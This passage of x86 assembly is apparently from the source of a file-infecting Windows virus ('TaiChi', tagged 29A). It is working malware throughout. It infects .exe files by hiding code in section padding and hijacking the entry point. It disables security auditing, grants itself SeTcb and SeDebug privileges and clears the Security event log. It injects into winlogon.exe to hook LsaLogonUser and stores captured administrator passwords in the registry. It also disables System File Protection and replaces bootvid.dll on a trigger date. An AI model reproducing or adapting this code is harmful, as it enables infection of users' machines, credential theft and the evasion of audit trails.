seh_decode_code: movzx ecx, word ptr [ebx+2] lea edi, [ebx+5] mov al, byte ptr [ebx+4] xor byte ptr [edi], al inc edi loop $-3 inc word ptr [ebx] xor byte ptr [ebx+1], 1000000b seh_decode_end: btr word ptr [ebx], 15 popad xor eax, eax retn seh_running_line: pop eax pushad mov edx, dword ptr [esp.cPushad+EH_ContextRecord] mov ebx, dword ptr [edx.CONTEXT_Eip] add dword ptr [edx.CONTEXT_Eip], 2 movzx ecx, byte ptr [ebx] inc ebx mov al, byte ptr [ebx] inc ebx mov edi, ebx xor byte ptr [edi], al inc edi loop $-3 cmp byte ptr [ebx], 9dh jnz $+16 mov eax, dword ptr [edx+CONTEXT_Esp] test dword ptr [eax], 100h jz $+12 or dword ptr [edx.CONTEXT_EFlags], 100h popad xor eax, eax retn seh_decode endp enter_single_stepping proc near pop eax pushfd pushfd or dword ptr [esp], 100h ; set the Trap flag popfd ; enter trace mode jmp eax ; the first instruction is not being traced enter_single_stepping endp ; in: eax - *file record ; esi - path ; out: eax - file record number ; CFlag - 1 if error recursive_directory_search proc near pushad mov edx, eax push esi mov ebx, 90h call read_directory_attribute jc recursive_directory_search_index_allocation jmp recursive_directory_search_got_fr recursive_directory_search_index_allocation: mov eax, edx push esi mov ebx, 0a0h call read_directory_attribute jc recursive_directory_search_end_ recursive_directory_search_got_fr: mov edi, eax mov ebx, esi call gimme_sub_path inc ecx shl ecx, 1 add esi, ecx call read_file_record jc recursive_directory_search_end_ xchg eax, edx test word ptr [edx+16h], 1 jz recursive_directory_search_end test word ptr [edx+16h], 02h jnz recursive_directory_search_go_deeper cmp word ptr [esi-2], 0 jnz recursive_directory_search_end mov eax, edi jmp recursive_directory_search_end_ok recursive_directory_search_go_deeper: cmp word ptr [esi-2], 0 jz recursive_directory_search_end mov eax, edx call recursive_directory_search jc recursive_directory_search_end recursive_directory_search_end_ok: clc jmp $+3 recursive_directory_search_end: stc mov dword ptr [esp.Pushad_eax], eax pushfd push edx call free_mem popfd recursive_directory_search_end_: popad retn recursive_directory_search endp ; in: ebx - attribute ; [esp+4] - path ; out: eax - file record number read_directory_attribute proc near pushad mov edi, ebx sub esp, 4 and dword ptr [esp], 0 call find_attrib_directory_ stc jecxz read_directory_attribute_end_ mov ebx, ecx call read_specific_value_part xchg eax, esi mov edx, esi read_directory_index_loop: lea edx, [edx+10h] cmp edi, 90h jz $+5 add edx, 8 mov ebx, dword ptr [esp+4+cPushad+4] push ecx call gimme_sub_path mov eax, edx call find_index_entry pop ecx test eax, eax jnz read_directory_attribute_end cmp edi, 90h jz read_directory_attribute_end_error sub ecx, dword ptr [ebp+index_buffer_size] jz read_directory_attribute_end_error add edx, dword ptr [edx+8] jmp read_directory_index_loop read_directory_attribute_end: mov eax, dword ptr [eax] clc jmp $+3 read_directory_attribute_end_error: stc pushfd push esi call free_mem popfd read_directory_attribute_end_: pushfd cmp dword ptr [esp+4], 0 jz $+11 push dword ptr [esp+4] call free_mem popfd pop ecx mov dword ptr [esp.Pushad_eax], eax popad retn 4 gimme_sub_path: push ebx xor ecx, ecx gimme_sub_path_loop: cmp word ptr [ebx], '\' jz $+13 cmp word ptr [ebx], 0 jz $+7 inc ebx inc ecx inc ebx jmp gimme_sub_path_loop pop ebx retn find_attrib_directory_: pushad xor edi, edi find_attrib_directory__: push eax call find_attrib_directory xchg eax, ecx pop eax test edi, edi jnz $+6 jecxz find_attrib_directory_next jmp $+16 jecxz $+8 mov dword ptr [esp+cPushad+4], edi jmp $+8 push edi call free_mem find_attrib_directory__end: mov dword ptr [esp.Pushad_ecx], ecx popad retn find_attrib_directory_next: mov ecx, ebx call find_attrib_in_attrib_list xchg eax, ecx jecxz find_attrib_directory__end xchg eax, ecx call read_file_record xor ecx, ecx jc find_attrib_directory__end mov edi, eax jmp find_attrib_directory__ read_directory_attribute endp ; out: eax - bool is_caller_admin proc near pushad @SEH_SetupFrame @pushvar
pop eax and dword ptr [eax], 0 push eax push eax align 4 call $+24 db 0ffh, 25h, 60h db 1 db 2 db 0, 0, 0, 0, 0, SECURITY_NT_AUTHORITY dd SECURITY_BUILTIN_DOMAIN_RID dd DOMAIN_ALIAS_RID_ADMINS add dword ptr [esp], 3 push 0 call dword ptr [ebp+tCheckTokenMembership] pop eax mov eax, dword ptr [eax] is_caller_admin_end: @SEH_RemoveFrame mov dword ptr [esp.Pushad_eax], eax popad retn is_caller_admin endp main_infection_routine proc near pushad @SEH_SetupFrame_ , , , mov eax, 64000 call alloc_mem xchg eax, edi lea esi, [edi+32000] push edi call $+17 dw "*", ".", "e", "x", "e", 0 call dword ptr [ebp+tFindFirstFileW] inc eax jz main_infection_routine_end_free_mem dec eax xchg eax, ebx main_infection_routine_loop: @pushvar
push esi push 16000 lea eax, [edi+44] push eax call dword ptr [ebp+tGetFullPathNameW] xchg eax, ecx jecxz main_infection_routine_end_find_close call NtfsOpenFile inc eax jz main_infection_end_find_next dec eax pushad xchg eax, ebx call infect_file pushfd call NtfsCloseFile popfd ;*** popad jnc main_infection_routine_end_find_close main_infection_end_find_next: push edi push ebx call dword ptr [ebp+tFindNextFileW] test eax, eax jnz main_infection_routine_loop main_infection_routine_end_find_close: push ebx call dword ptr [ebp+tFindClose] main_infection_routine_end_free_mem: push edi call free_mem main_infection_routine_end: @SEH_RemoveFrame popad retn main_infection_routine endp infect_file proc near ;int 3 pushad call check_for_valid_pe jc infect_file_end_error jnz infect_file_end_error cmp dword ptr [ebx.MZ_res], not "RAT" jz infect_file_end_error mov eax, dword ptr [ebx.MZ_lfanew] add eax, ebx movzx edi, word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader] lea edi, [edi+eax+IMAGE_SIZEOF_FILE_HEADER+4] mov esi, dword ptr [edi.SH_PointerToRawData] mov ecx, dword ptr [edi.SH_SizeOfRawData] add esi, ebx xor edx, edx gap_loop: jecxz gap_loop_end lodsb dec ecx call is_gap jz $+6 xor edx, edx jmp gap_loop inc edx cmp edx, virus_size jnz gap_loop gap_loop_end: cmp edx, virus_size jnz infect_file_end_error sub esi, virus_size push esi sub esi, dword ptr [edi.SH_PointerToRawData] pop edi sub esi, ebx push esi call $+5 taichi_here: pop esi sub esi, taichi_here-taichi_start mov ecx, virus_size rep movsb pop esi mov eax, dword ptr [ebx.MZ_lfanew] mov dword ptr [ebx.MZ_res], not "RAT" add eax, ebx and dword ptr [eax.NT_OptionalHeader.OH_CheckSum], 0 mov ecx, dword ptr [eax.NT_OptionalHeader.OH_ImageBase] add ecx, dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint] mov dword ptr [edi-(host_start-victim_entrypoint)], ecx mov edx, dword ptr [eax.NT_OptionalHeader.OH_BaseOfCode] add edx, esi mov dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint], edx ; clc jmp infect_file_end_error+1 infect_file_end_error: stc popad retn infect_file endp check_for_valid_pe proc near pushad movzx eax, word ptr [ebx] not eax cmp eax, not "ZM" stc jnz check_for_valid_pe_end mov edx, dword ptr [ebx.MZ_lfanew] add edx, ebx movzx eax, word ptr [edx] not eax cmp eax, not "EP" stc jnz check_for_valid_pe_end cmp word ptr [edx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386 stc jnz check_for_valid_pe_end movzx eax, word ptr [edx.NT_FileHeader.FH_Characteristics] not al test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL clc check_for_valid_pe_end: popad retn check_for_valid_pe endp is_gap proc near cmp al, 90h jz is_gap_end cmp al, 0cch jz is_gap_end test al, al jz is_gap_end is_gap_end: retn is_gap endp NtfsMap proc near pushad mov eax, dword ptr [esp+cPushad+4+EH_ExceptionRecord] cmp dword ptr [eax], EXCEPTION_ACCESS_VIOLATION jz $+4 popad retn call gimme_data_section_ptr xchg eax, ebp mov ebx, dword ptr [esp+4+cPushad+EH_ExceptionRecord] mov edi, dword ptr [ebx.ER_ExceptionInformation+4] ; where it happened and edi, 0fffff000h push -1 push dword ptr [ebp+fl_mutex] call dword ptr [ebp+tWaitForSingleObject] lea edx, dword ptr [ebp+file_list] NtfsMap_file_list_loop: mov esi, edx lodsd xchg eax, edx test edx, edx jz NtfsMap_release_mutex_error cmp dword ptr [edx.F_vmem_start], edi ja NtfsMap_file_list_loop cmp dword ptr [edx.F_vmem_end], edi jc NtfsMap_file_list_loop mov esi, edx push 28 pop eax call alloc_mem push eax push eax push 28 push eax push edi call dword ptr [ebp+tVirtualQuery] xchg eax, ecx pop eax jecxz NtfsMap_virtual_query_error mov edx, dword ptr [eax+16] NtfsMap_virtual_query_error: call free_mem test ecx, ecx jz NtfsMap_virtual_query_error test edx, MEM_COMMIT jnz NtfsMap_dirty_flag push PAGE_READWRITE push MEM_COMMIT push 4096 push edi call dword ptr [ebp+tVirtualAlloc] xchg eax, ecx jecxz NtfsMap_release_mutex_error mov edx, dword ptr [esi.F_vmem_start] mov eax, edi sub eax, edx shr eax, 12 ; and finally read cluster from phile ... mov ebx, dword ptr [esi.F_prunlist] xor edx, edx xor esi, esi call process_runlist_loop test eax, eax jz NtfsMap_release_mutex_error push 1 pop edx call read_clusterz @pushvar
push PAGE_READONLY push 4096 push edi call dword ptr [ebp+tVirtualProtect] xchg eax, ecx jecxz NtfsMap_release_mutex_error clc jmp NtfsMap_release_mutex_error+1 NtfsMap_dirty_flag: @pushvar
push PAGE_READWRITE push 4096 push edi call dword ptr [ebp+tVirtualProtect] xchg eax, ecx jecxz NtfsMap_release_mutex_error ; and finally set a dirty flag ... mov edx, dword ptr [esi.F_vmem_start] mov eax, edi sub eax, edx shr eax, 12 xor edx, edx push 8 pop ecx div ecx xchg edx, ecx push 1 pop ebx shl ebx, cl mov edx, dword ptr [esi.F_dirty_bmask] or byte ptr [edx+eax], bl clc jmp NtfsMap_release_mutex_error+1 NtfsMap_release_mutex_error: stc pushfd push dword ptr [ebp+fl_mutex] call dword ptr [ebp+tReleaseMutex] popfd popad jc $+3 pop eax xor eax, eax retn NtfsMap endp ; in: esi - UNICODE name of the file (with full path) ; out: eax - base addr where file is mapped to NtfsOpenFile proc near pushad @SEH_SetupFrame_ , , xor eax, eax push eax push eax push OPEN_EXISTING push eax ; we have to check whether file is push eax ; read/write even if we can write to push GENERIC_READ or GENERIC_WRITE ; non write file becoz of coherency ... push esi call dword ptr [ebp+tCreateFileW] inc eax jz NtfsOpenFile_end_error dec eax ;int 3 COMMENT~ ;*** push 0 push 0 push 0 push PAGE_READWRITE push 0 push eax calle CreateFileMappingA push 0 push 0 push 0 push FILE_MAP_WRITE or FILE_MAP_READ push eax calle MapViewOfFile jmp NtfsOpenFile_end_error+3 ;*** ~ push eax call dword ptr [ebp+tCloseHandle] lea esi, [esi+6] mov eax, dword ptr [ebp+rootdir_file_record] call recursive_directory_search jc NtfsOpenFile_end_error call read_file_record jc NtfsOpenFile_end_error mov edi, eax push 80h pop ebx ; gimme the $DATA attribute xor ecx, ecx cdq call find_attrib xchg eax, ebx cmp byte ptr [ebx+8], 1 jnz NtfsOpenFile_end_error_ cmp word ptr [ebx+0ch], 1 ; check compressed flag, and non-resident one jz NtfsOpenFile_end_error_ cmp dword ptr [ebx+34h], 0 ; check file size jnz $+11 cmp dword ptr [ebx+30h], 186a0h ;jc NtfsOpenFile_end_error_ push edi mov eax, dword ptr [ebx+4] mov esi, dword ptr [ebx+20h] ; get length of the runlist sub eax, esi add esi, ebx mov ecx, eax add eax, type(FILE) call alloc_mem xchg eax, edi push edi add edi, type(FILE) mov eax, edi rep movsb pop edi mov dword ptr [edi.F_prunlist], eax mov eax, dword ptr [ebx+30h] mov dword ptr [edi.F_size], eax xor edx, edx mov ecx, 4096 div ecx ; round size to pagez test edx, edx jz $+3 inc eax mul ecx xchg eax, ebx push PAGE_READONLY push MEM_RESERVE push ebx push edx call dword ptr [ebp+tVirtualAlloc] push eax mov dword ptr [edi.F_vmem_start], eax add eax, ebx mov dword ptr [edi.F_vmem_end], eax shr ebx, 12 mov dword ptr [edi.F_dirty_size], ebx xor edx, edx mov eax, ebx push 8 pop ecx div ecx test edx, edx jz $+3 inc eax call alloc_mem mov dword ptr [edi.F_dirty_bmask], eax push -1 push dword ptr [ebp+fl_mutex] call dword ptr [ebp+tWaitForSingleObject] lea edx, dword ptr [ebp+file_list] file_list_loop: mov esi, edx lodsd xchg eax, edx lodsd test edx, edx jnz file_list_loop inc eax mov dword ptr [edi.F_handle], eax mov dword ptr [esi-8], edi push dword ptr [ebp+fl_mutex] call dword ptr [ebp+tReleaseMutex] pop eax call free_mem jmp NtfsOpenFile_end_error+3 NtfsOpenFile_end_error_: push edi call free_mem NtfsOpenFile_end_error: push -1 pop eax @SEH_RemoveFrame mov dword ptr [esp.Pushad_eax], eax popad retn NtfsOpenFile endp ; in: ebx - value (base mem) which returned NtfsOpenFile NtfsCloseFile proc near pushad @SEH_SetupFrame_ , , push -1 push dword ptr [ebp+fl_mutex] call dword ptr [ebp+tWaitForSingleObject] lea edx, dword ptr [ebp+file_list] NtfsCloseFile_file_list_loop: mov esi, edx mov ecx, edx lodsd xchg eax, edx test edx, edx jz NtfsCloseFile_release_mutex_error cmp dword ptr [edx.F_vmem_start], ebx jnz NtfsCloseFile_file_list_loop push dword ptr [edx] pop dword ptr [ecx] mov ecx, dword ptr [edx.F_dirty_size] mov esi, dword ptr [edx.F_dirty_bmask] mov edi, ebx mov ebx, dword ptr [edx.F_prunlist] push edx xor edx, edx NtfsCloseFile_write_changez_loop: push ecx push edx push edx mov eax, edx xor edx, edx push 8 pop ecx div ecx xchg edx, ecx pop edx movzx eax, byte ptr [esi+eax] bt eax, ecx jnc NtfsCloseFile_next_cluster push esi mov eax, edx xor edx, edx xor esi, esi call process_runlist_loop pop esi push 1 pop edx call write_clusterz NtfsCloseFile_next_cluster: add edi, 4096 pop edx pop ecx inc edx loop NtfsCloseFile_write_changez_loop pop ebx push dword ptr [ebx.F_dirty_bmask] call free_mem push MEM_RELEASE push 0 push dword ptr [ebx.F_vmem_start] call dword ptr [ebp+tVirtualFree] push ebx call free_mem clc jmp NtfsCloseFile_release_mutex_error+1 NtfsCloseFile_release_mutex_error: stc pushfd push dword ptr [ebp+fl_mutex] call dword ptr [ebp+tReleaseMutex] popfd NtfsCloseFile_end: @SEH_RemoveFrame popad retn NtfsCloseFile endp gain_admin proc near pushad @SEH_SetupFrame call is_caller_admin xchg eax, ecx jecxz gain_admin_try_gain call disable_auditing call add_privilegez @pushsz "Security" pop esi call clear_event_log call taichi_payload jmp gain_admin_end gain_admin_try_gain: @pushvar pop esi push esi @pushsz "Software\29A\TaiChi" push HKEY_LOCAL_MACHINE call dword ptr [ebp+tRegCreateKeyA] test eax, eax jnz gain_admin_end mov eax, 300 call alloc_mem xchg eax, edi xor ebx, ebx gain_admin_try_gain_loop: @pushvar
pop eax mov dword ptr [eax], 150 push eax push edi @pushvar
push 0 @pushvar
pop eax mov dword ptr [eax], 75 push eax lea eax, [edi+150] push eax push ebx push dword ptr [esi] call dword ptr [ebp+tRegEnumValueA] test eax, eax jnz gain_admin_try_gain_close_reg_handle push ebx @pushvar pop ebx push ebx push eax push LOGON32_LOGON_INTERACTIVE push edi push eax lea eax, [edi+150] push eax call dword ptr [ebp+tLogonUserA] xchg eax, ecx jecxz gain_admin_try_next_account push dword ptr [ebx] call dword ptr [ebp+tImpersonateLoggedOnUser] xchg eax, ecx jecxz gain_admin_try_next_account push -1 call debug_print push dword ptr [ebx] call dword ptr [ebp+tCloseHandle] inc dword ptr [ebp+revert_to_self] pop ebx jmp gain_admin_try_gain_close_reg_handle gain_admin_try_next_account: pop ebx inc ebx jmp gain_admin_try_gain_loop gain_admin_try_gain_close_reg_handle: push dword ptr [esi] call dword ptr [ebp+tRegCloseKey] push edi call dword ptr [ebp+tGlobalFree] gain_admin_end: @SEH_RemoveFrame popad retn gain_admin endp add_privilegez: mov ebx, ebp add_privilegez_ proc near local sort_buf:DWORD local entry_count:DWORD local loa:LSA_OBJECT_ATTRIBUTES local policy_handle:DWORD pushad @SEH_SetupFrame lea eax, [policy_handle] push eax push POLICY_CREATE_ACCOUNT or POLICY_LOOKUP_NAMES lea edi, [loa] push type(LSA_OBJECT_ATTRIBUTES) shr 2 pop ecx push edi xor eax, eax rep stosd push 0 call dword ptr [ebx+tLsaOpenPolicy] test eax, eax jnz add_privilegez_end mov eax, 100 call alloc_mem xchg eax, edi push edi @pushvar
lea edx, [sort_buf] mov dword ptr [edx], 20 push edx lea edx, [edi+20] push edx lea edx, [entry_count] mov dword ptr [edx], 80 push edx push edi @pushvar push 0 call dword ptr [ebx+tLookupAccountNameW] xchg eax, ecx jecxz add_privilegez_end_ call add_privilegez_next db "SeTcbPrivilege", 0 db "SeDebugPrivilege", 0 db -1 add_privilegez_next: pop esi add_privilegez_privilege_loop: cmp byte ptr [esi], -1 jz add_privilegez_end_ push esi push edi push dword ptr [policy_handle] call add_privilege @endsz jmp add_privilegez_privilege_loop add_privilegez_end_: call free_mem add_privilegez_close_policy: push dword ptr [policy_handle] call dword ptr [ebx+tLsaClose] add_privilegez_end: @SEH_RemoveFrame popad leave retn add_privilegez_ endp ; out: eax - NTSTATUS add_privilege proc near policy_handle:DWORD, sid:DWORD, privilege:DWORD pushad @SEH_SetupFrame mov esi, dword ptr [privilege] mov edx, esi @endsz sub esi, edx shl esi, 1 mov eax, esi add eax, 8 call alloc_mem xchg eax, edi push edi push 1 push edi mov eax, esi push eax sub eax, 2 stosw pop eax stosw lea eax, [edi+4] stosd mov esi, edx xor eax, eax add_privilege_loop: lodsb stosw test eax, eax jnz add_privilege_loop push dword ptr [sid] push dword ptr [policy_handle] call dword ptr [ebx+tLsaAddAccountRights] call free_mem add_privilege_end: @SEH_RemoveFrame mov dword ptr [esp.Pushad_eax], eax popad leave retn 12 add_privilege endp disable_auditing: mov ebx, ebp disable_auditing_ proc near local loa:LSA_OBJECT_ATTRIBUTES local policy_handle:DWORD local buf_ptr:DWORD pushad @SEH_SetupFrame lea eax, [policy_handle] push eax push POLICY_VIEW_AUDIT_INFORMATION or POLICY_SET_AUDIT_REQUIREMENTS lea edi, [loa] push type(LSA_OBJECT_ATTRIBUTES) shr 2 pop ecx push edi xor eax, eax rep stosd push 0 call dword ptr [ebx+tLsaOpenPolicy] test eax, eax jnz disable_auditing_end lea eax, [buf_ptr] push eax push 2 push dword ptr [policy_handle] call dword ptr [ebx+tLsaQueryInformationPolicy] test eax, eax jnz disable_auditing_close_policy mov esi, dword ptr [buf_ptr] and dword ptr [esi], 0 mov ecx, dword ptr [esi+8] mov edi, dword ptr [esi+4] push 4 pop eax rep stosd push esi push 2 push dword ptr [policy_handle] call dword ptr [ebx+tLsaSetInformationPolicy] push esi call dword ptr [ebx+tLsaFreeMemory] disable_auditing_close_policy: push dword ptr [policy_handle] call dword ptr [ebx+tLsaClose] disable_auditing_end: @SEH_RemoveFrame popad leave retn disable_auditing_ endp clear_event_log proc near pushad @SEH_SetupFrame push esi push 0 call dword ptr [ebp+tOpenEventLogA] test eax, eax jz clear_event_log_end xchg eax, ebx push 0 push ebx call dword ptr [ebp+tClearEventLogA] push ebx call dword ptr [ebp+tCloseEventLog] clear_event_log_end: @SEH_RemoveFrame popad retn clear_event_log endp infect_winlogon: mov ebx, ebp infect_winlogon_ proc near local process_count:DWORD local process_handle:DWORD local module:DWORD pushad @SEH_SetupFrame push SE_PRIVILEGE_ENABLED pop eax call se_debug_privilege jz infect_winlogon_end jmp infect_winlogon_next se_debug_privilege proc near push ebp mov ebp, ebx @pushsz "SeDebugPrivilege" pop esi call touch_privilege pop ebp test eax, eax retn se_debug_privilege endp infect_winlogon_next: mov eax, 80h+MAX_PATH call alloc_mem xchg eax, edi lea eax, [process_count] push eax push 80h push edi call dword ptr [ebx+tEnumProcesses] dec eax jnz infect_winlogon_free_mem mov ecx, dword ptr [process_count] mov esi, edi shr ecx, 2 infect_winlogon_search: lodsd pushad push eax push 0 push PROCESS_DESIRED_ACCESS call dword ptr [ebx+tOpenProcess] test eax,eax jz infect_winlogon_next_process mov dword ptr [process_handle], eax @pushvar
push 4 lea edx, [module] push edx push eax call dword ptr [ebx+tEnumProcessModules] dec eax jnz infect_winlogon_close_process lea edi, [edi+80h] push MAX_PATH push edi push dword ptr [module] push dword ptr [process_handle] call dword ptr [ebx+tGetModuleBaseNameA] xchg eax, ecx jecxz infect_winlogon_close_process pushad @pushsz "winlogon.exe" pop esi rep cmpsb popad jnz infect_winlogon_close_process push dword ptr [process_handle] call infiltrate_lsalogonuser mov dword ptr [esp.Pushad_ecx], 1 infect_winlogon_close_process: push dword ptr [process_handle] call dword ptr [ebx+tCloseHandle] infect_winlogon_next_process: popad loop infect_winlogon_search infect_winlogon_free_mem: push edi call free_mem xor eax, eax call se_debug_privilege infect_winlogon_end: @SEH_RemoveFrame popad leave retn infect_winlogon_ endp infiltrate_lsalogonuser proc near process_handle:DWORD local temp:DWORD pushad mov ecx, 300 call $+10 db 5eh, 0c9h, 0c2h, 38h, 00h ; pop esi ; leave ; retn 38h pop esi mov edi, dword ptr [ebx+tLsaLogonUser] infiltrate_loop: pushad push 5 pop ecx rep cmpsb popad jz infiltrate_found inc edi loop infiltrate_loop jmp infiltrate_end infiltrate_found: mov eax, dword ptr [ebx+delta_offset] add eax, offset lsa_logon_user_patch_addr mov dword ptr [eax], edi @pushvar
push 4 lea eax, [temp] push eax push edi push dword ptr [process_handle] call dword ptr [ebx+tReadProcessMemory] cmp dword ptr [temp], 38c2c95eh jnz infiltrate_end push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push (end_remote_routine-start_remote_routine)+apiz_size push 0 push dword ptr [process_handle] call dword ptr [ebx+tVirtualAllocEx] test eax,eax jz infiltrate_end xchg eax, edi push 0 push end_remote_routine-start_remote_routine ; Infiltration routine start call infiltrate_next start_remote_routine equ $ pushad @SEH_SetupFrame_ , , @gimme_delta lea edx, [ebp+lsa_logon_user_hook] mov edi, 12345678h lsa_logon_user_patch_addr equ $-4 sub edx, edi sub edx, 5 mov byte ptr [edi], 0e9h mov dword ptr [edi+1], edx call sfp_disable remote_routine_end: @SEH_RemoveFrame popad retn sfp_disable: @pushsz "sfc.dll" call dword ptr [ebp+end_remote_routine+tGetModuleHandleA] test eax,eax jz sfp_disable_end xchg eax,esi mov eax, dword ptr [esi.MZ_lfanew] add eax, esi movzx edx, word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader] lea edx, [edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)] mov ecx, dword ptr [edx.SH_SizeOfRawData] call sfp_disable_end_ sfp_disable_start equ $ db 6ah, 00h, 6ah, 01h, 6ah, 01h db 0ffh, 33h, 0ffh, 73h, 04h db 0ffh, 15h sfp_disable_end_: pop edi sfp_disable_find: pushad push sfp_disable_end_-sfp_disable_start pop ecx rep cmpsb popad jz sfp_disable_found inc esi loop sfp_disable_find jmp sfp_disable_end sfp_disable_found: push dword ptr [ebp+end_remote_routine+tExitThread] pop dword ptr [ebp+exit_thread] call sfp_disable_patch_end sfp_disable_patch_start equ $ push 0 mov eax, 12345678h exit_thread equ $-4 call eax sfp_disable_patch_end: pop edi xchg esi, edi add edi, 15 push sfp_disable_patch_end-sfp_disable_patch_start pop ecx rep movsb sfp_disable_end: retn unprotect proc near mov eax, dword ptr [esp+4+EH_ExceptionRecord] cmp dword ptr [eax], EXCEPTION_ACCESS_VIOLATION jz $+3 retn pop eax pushad @gimme_delta mov ebx, dword ptr [esp+cPushad+EH_ExceptionRecord] @pushvar
mov ebx, dword ptr [ebx.ER_ExceptionInformation+4] push PAGE_READWRITE and ebx, 0fffff000h push 2*4096 push ebx call dword ptr [ebp+end_remote_routine+tVirtualProtect] popad xor eax, eax retn unprotect endp lsa_logon_user_hook proc near pop esi leave test eax, eax jnz lsa_logon_user_hook_end_ pushad @SEH_SetupFrame @gimme_delta mov esi, dword ptr [esp+8+cPushad+4+16] ; AuthenticationInformation cmp dword ptr [esi], 2 ; InteractiveLogon ? jnz lsa_logon_user_hook_end @pushvar push 1 push dword ptr [esi+16] push 0 call dword ptr [ebp+end_remote_routine+tNetUserGetInfo] test eax, eax jnz lsa_logon_user_hook_end mov eax, dword ptr [ebp+net_buf_ptr] push dword ptr [eax+12] push eax call dword ptr [ebp+end_remote_routine+tNetApiBufferFree] pop eax cmp eax, USER_PRIV_ADMIN jnz lsa_logon_user_hook_end mov ebx, dword ptr [esp+8+cPushad+4+20] ; AuthenticationInformationLength mov ecx, ebx add ecx, 300 push ecx push GMEM_ZEROINIT call dword ptr [ebp+end_remote_routine+tGlobalAlloc] test eax, eax jz lsa_logon_user_hook_end xchg eax, edi pushad mov ecx, ebx rep movsb popad mov eax, dword ptr [esi+24] sub eax, esi add eax, edi mov dword ptr [edi+24], eax movzx eax, byte ptr [edi+21] xor byte ptr [edi+21], al lea edx, [edi+20] push edx push eax call dword ptr [ebp+end_remote_routine+tRtlRunDecodeUnicodeString] push edi mov edx, esi mov ecx, edi xor eax, eax lea edi, [edi+ebx] mov esi, dword ptr [edx+16] @unicode_to_asciiz mov dword ptr [ebp+value_data], edi mov esi, dword ptr [ecx+24] mov edx, edi @unicode_to_asciiz sub edi, edx mov edx, edi pop edi ; ok we've got an admin account so store it to registry ... push edx @pushvar @pushsz "Software\29A\TaiChi" push HKEY_LOCAL_MACHINE call dword ptr [ebp+end_remote_routine+tRegCreateKeyA] pop edx test eax, eax jnz lsa_logon_free_mem push edx push 12346578h value_data equ $-4 push REG_SZ push eax lea eax, [edi+ebx] push eax mov ebx, dword ptr [ebp+reg_handle] push ebx call dword ptr [ebp+end_remote_routine+tRegSetValueExA] push ebx call dword ptr [ebp+end_remote_routine+tRegCloseKey] lsa_logon_free_mem: push edi call dword ptr [ebp++end_remote_routine+tGlobalFree] lsa_logon_user_hook_end: @SEH_RemoveFrame popad lsa_logon_user_hook_end_: retn 38h lsa_logon_user_hook endp end_remote_routine equ $ infiltrate_next: ; Infiltration routine end push edi push dword ptr [process_handle] call dword ptr [ebx+tWriteProcessMemory] dec eax jnz infiltrate_free_mem push 0 push apiz_size push ebx lea eax, [edi+end_remote_routine-start_remote_routine] push eax push dword ptr [process_handle] call dword ptr [ebx+tWriteProcessMemory] dec eax jnz infiltrate_free_mem push eax push eax push eax push edi push eax push eax push dword ptr [process_handle] call dword ptr [ebx+tCreateRemoteThread] xchg eax, ecx jecxz infiltrate_free_mem push ecx call dword ptr [ebx+tCloseHandle] jmp infiltrate_end infiltrate_free_mem: push MEM_RELEASE push 0 push edi push dword ptr [process_handle] call dword ptr [ebx+tVirtualFreeEx] infiltrate_end: popad leave retn 4 infiltrate_lsalogonuser endp ; in: esi - privilege to touch ; eax - disable/enable ; out: eax - bool touch_privilege: mov ebx, ebp touch_privilege_ proc near local process_token:DWORD local privilege_luid:QWORD local token_privilegez:TOKEN_PRIVILEGES pushad @SEH_SetupFrame xchg eax, edi call dword ptr [ebx+tGetCurrentProcess] lea edx, [process_token] push edx push TOKEN_ADJUST_PRIVILEGES push eax call dword ptr [ebx+tOpenProcessToken] dec eax jnz touch_privilege_end lea edx, [token_privilegez.TP_luid] push edx push esi push eax call dword ptr [ebx+tLookupPrivilegeValueA] dec eax jnz touch_privilege_close_p_token push eax push eax push type(TOKEN_PRIVILEGES) lea edx, [token_privilegez] push 1 pop dword ptr [edx] mov dword ptr [edx.TP_attribz], edi push edx push eax push dword ptr [process_token] call dword ptr [ebx+tAdjustTokenPrivileges] touch_privilege_close_p_token: push eax push dword ptr [process_token] call dword ptr [ebx+tCloseHandle] pop eax touch_privilege_end: @SEH_RemoveFrame mov dword ptr [esp.Pushad_eax], eax popad leave retn touch_privilege_ endp taichi_payload: mov ebx, ebp taichi_payload_ proc near local system_time:SYSTEMTIME local path:DWORD local temp:DWORD pushad @SEH_SetupFrame lea eax, [system_time] push eax call dword ptr [ebx+tGetLocalTime] cmp word ptr [system_time.ST_Month], 9 jnz taichi_payload_end cmp word ptr [system_time.ST_Day], 11 jnz taichi_payload_end push 4 lea eax, [temp] push eax push 1 @pushvar
push eax @pushvar
@pushsz "TaiChi" @pushsz "Software\29A\TaiChi\PayLoad" pop eax mov dword ptr [path], eax push eax call dword ptr [ebx+tSHRegGetUSValueA] cmp dword ptr [temp], "TAR" jz taichi_payload_end mov eax, 2*MAX_PATH call alloc_mem xchg eax, edi push edi push MAX_PATH call dword ptr [ebx+tGetCurrentDirectoryA] test eax, eax jz taichi_payload_free_mem push MAX_PATH lea esi, [edi+MAX_PATH] push esi @pushsz "%systemroot%\system32" call dword ptr [ebx+tExpandEnvironmentStringsA] test eax, eax jz taichi_payload_free_mem push esi call dword ptr [ebx+tSetCurrentDirectoryA] test eax, eax jz taichi_payload_free_mem push 1 @pushsz "bootvid_.dll" pop esi push esi @pushsz "bootvid.dll" pop eax mov dword ptr [temp], eax push eax call dword ptr [ebx+tCopyFileA] test eax, eax jz taichi_payload_set_curdir_back call taichi_payload_next bootvid_dll_struc_start equ $ dd bootvid_dll_size dw bootvid_dll_start-bootvid_dll_struc_start db "bootvid.dl_", 0 db "bootvid.dll", 0 bootvid_dll_start equ $ include bootvid.dl_.inc bootvid_dll_size equ $-bootvid_dll_start taichi_payload_next: pop ecx call lz_decompress jnc taichi_payload_allz_ok push MOVEFILE_REPLACE_EXISTING push dword ptr [temp] push esi call dword ptr [ebx+tMoveFileExA] jmp taichi_payload_set_curdir_back taichi_payload_allz_ok: push SHREGSET_FORCE_HKLM push 3 @pushsz "RAT" push REG_SZ @pushsz "TaiChi" push dword ptr [path] call dword ptr [ebx+tSHRegSetUSValueA] taichi_payload_set_curdir_back: push edi call dword ptr [ebx+tSetCurrentDirectoryA] taichi_payload_free_mem: push edi call free_mem taichi_payload_end: 